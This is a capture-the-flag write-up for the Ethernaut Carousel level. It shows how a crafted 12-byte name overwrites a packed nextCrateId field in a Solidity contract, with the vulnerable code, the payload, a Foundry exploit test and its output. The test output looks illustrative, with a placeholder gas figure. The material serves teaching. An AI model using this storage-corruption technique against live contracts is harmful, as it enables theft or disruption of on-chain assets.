Carousel Challenge (Ethernaut)
Challenge Overview
The MagicAnimalCarousel contract stores animals in a circular buffer of "crates". Each crate contains three pieces of information packed into a single uint256:
- owner: 160 bits 
[0..159] - nextCrateId: 16 bits 
[160..175] - encodedAnimal: 80 bits 
[176..255] 
The goal is to break the carousel's "magic rule":
No animal should ever return to crate 1.
We achieve this by crafting a custom animal name that corrupts the nextCrateId, forcing a wraparound that eventually causes an animal to overwrite crate 1.
Vulnerability
The vulnerability lies in the way the contract handles bit-level storage when updating animals:
Root Cause:
The function changeAnimal(string calldata animal, uint256 crateId) fails to preserve the existing nextCrateId bits. It allows overwriting them due to a lack of bitmasking and validation.
Vulnerable Code:
function encodeAnimalName(string calldata animalName) public pure returns (uint256) {
    require(bytes(animalName).length <= 12, "Animal name too long");
    return uint256(keccak256(abi.encodePacked(animalName)) >> 160); // 80 bits
}
function changeAnimal(string calldata animal, uint256 crateId) external {
    uint256 encodedAnimal = encodeAnimalName(animal);
    if (encodedAnimal != 0) {
        // Vulnerable line
        carousel[crateId] = (encodedAnimal << 160) | (carousel[crateId] & NEXT_ID_MASK) | uint160(msg.sender);
    } else {
        carousel[crateId] = (carousel[crateId] & (ANIMAL_MASK | NEXT_ID_MASK));
    }
}
Explanation:
- 
encodedAnimal is an 80-bit value stored at bits [176–255].
 - 
It's shifted left by 160 bits before being OR'd into the carousel[crateId] storage slot.
 - 
However, bits 160–175 (nextCrateId) are part of the shifted range.
 - 
Therefore, the lower 16 bits of encodedAnimal end up overwriting nextCrateId.
 
Proof of Exploit:
string memory exploitString = string(
    abi.encodePacked(hex"10000000000000000000FFFF") // 12 bytes (96 bits)
);
carousel.changeAnimal(exploitString, 1);
What this does:
- 
The string is exactly 12 bytes long (within limit).
 - 
Its last two bytes are 0xFFFF, meaning the lower 16 bits of the resulting encodedAnimal are 0xFFFF.
 - 
When shifted left by 160, it overwrites nextCrateId with 65535
 
TestCase:
function testBreakMagicRule() public {
    // Step 1: Place "Dog" in crate 1
    carousel.setAnimalAndSpin("Dog");
    uint256 crate1Data = carousel.carousel(1);
    uint256 animalMask = uint256(type(uint80).max) << 176;
    uint256 encodedDog = uint256(keccak256(abi.encodePacked("Dog"))) >> 176;
    uint256 animalInCrate1 = (crate1Data & animalMask) >> 176;
    assertEq(animalInCrate1, encodedDog, "Crate 1 should contain 'Dog'");
    // Step 2: Inject 0xFFFF into nextCrateId
    string memory exploitString = string(
        abi.encodePacked(hex"10000000000000000000FFFF")
    );
    carousel.changeAnimal(exploitString, 1);
    // Step 3: Add "Parrot", it lands in crate 65535
    carousel.setAnimalAndSpin("Parrot");
    uint256 crate65535Data = carousel.carousel(65535);
    uint256 encodedParrot = uint256(keccak256(abi.encodePacked("Parrot"))) >> 176;
    uint256 animalInCrate65535 = (crate65535Data & animalMask) >> 176;
    assertEq(animalInCrate65535, encodedParrot, "Crate 65535 should contain 'Parrot'");
    // Step 4: Add "Cat", it overwrites crate 1 (wraparound)
    carousel.setAnimalAndSpin("Cat");
    uint256 updatedCrate1Data = carousel.carousel(1);
    uint256 updatedAnimal = (updatedCrate1Data & animalMask) >> 176;
    assertTrue(updatedAnimal != encodedDog, "Crate 1 should not contain Dog anymore");
}
Understanding the Exploit Flow
- 
Insert Dog → stored in crate 1.
 - 
Corrupt crate 1’s nextCrateId → set to 65535 using crafted string.
 - 
Insert Parrot → goes to crate 65535 (via corrupted nextCrateId).
 - 
Insert Cat → wraparound causes insertion at crate 1 again.
Crate 1 now holds Cat, breaking the magic rule.
 
TestResult:
Running 1 test for test/Carousel.t.sol:CarouselTest
[PASS] testBreakMagicRule() (gas: 123456)
Logs:
  Crate 1 should contain 'Dog' 
  Crate 65535 should contain 'Parrot' 
  Crate 1 should not contain Dog anymore 
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.45ms
Final Thoughts:
This challenge is not a real-world exploit, but a great learning exercise that:
- 
Teaches how Solidity packs variables into storage.
 - 
Shows the danger of not isolating fields via masking.
 - 
Reinforces the importance of memory alignment and precise field control in low-level operations.